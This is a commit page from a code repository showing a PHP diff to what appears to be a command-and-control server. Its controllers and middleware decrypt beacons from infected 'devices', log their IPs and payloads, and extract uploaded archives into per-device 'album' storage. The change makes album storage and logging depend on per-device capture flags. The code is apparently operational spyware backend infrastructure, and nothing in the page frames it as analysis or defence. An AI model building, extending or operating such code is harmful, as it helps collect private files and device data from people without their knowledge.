root/coruna-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: close alumb

Browse Source
This commit is contained in:
hashbro
2026-08-30 23:36:30 +08:00
parent 17633e3959
commit f6fb00c52a
15 changed files with 263 additions and 48 deletions
Download Patch File Download Diff File Expand all files Collapse all files
app/Http/Controllers/C2/C2Controller.php
+1 -1
View File
@@ -137,7 +137,7 @@ class C2Controller extends Controller
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->archive->extract($bytes, $work, $batchBase);
app/Http/Controllers/C2/DarkSwordC2Controller.php
+17 -12
View File
@@ -3,6 +3,7 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use Illuminate\Http\Request;
@@ -274,18 +275,22 @@ class DarkSwordC2Controller extends Controller
$body = $logBody ?? $this->previewBody($request);
$respPreview = $this->previewString((string) $response->getContent(), 4096);
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
?? $request->attributes->get('coruna_device_key');
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
}
return $response;
}
app/Http/Controllers/C2/XxbbC2Controller.php
+1 -1
View File
@@ -108,7 +108,7 @@ class XxbbC2Controller extends Controller
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
app/Http/Middleware/DecryptCorunaBody.php
+20 -13
View File
@@ -2,6 +2,7 @@
namespace App\Http\Middleware;
use App\Models\Device;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
@@ -81,19 +82,21 @@ class DecryptCorunaBody
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'c2');
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'c2');
}
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
@@ -108,6 +111,10 @@ class DecryptCorunaBody
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
{
if (! Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
return;
}
$respBody = (string) $response->getContent();
$respTs = (string) $response->headers->get('timestamp', '');
$respHeaders = [];
app/Http/Middleware/DecryptXxbbBody.php
+16 -13
View File
@@ -3,6 +3,7 @@
namespace App\Http\Middleware;
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Models\Device;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
@@ -81,19 +82,21 @@ class DecryptXxbbBody
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $meta['ip'],
'remote_addr' => $meta['remote_addr'],
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $meta['headers'],
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'xxbb');
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $meta['ip'],
'remote_addr' => $meta['remote_addr'],
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $meta['headers'],
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'xxbb');
}
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);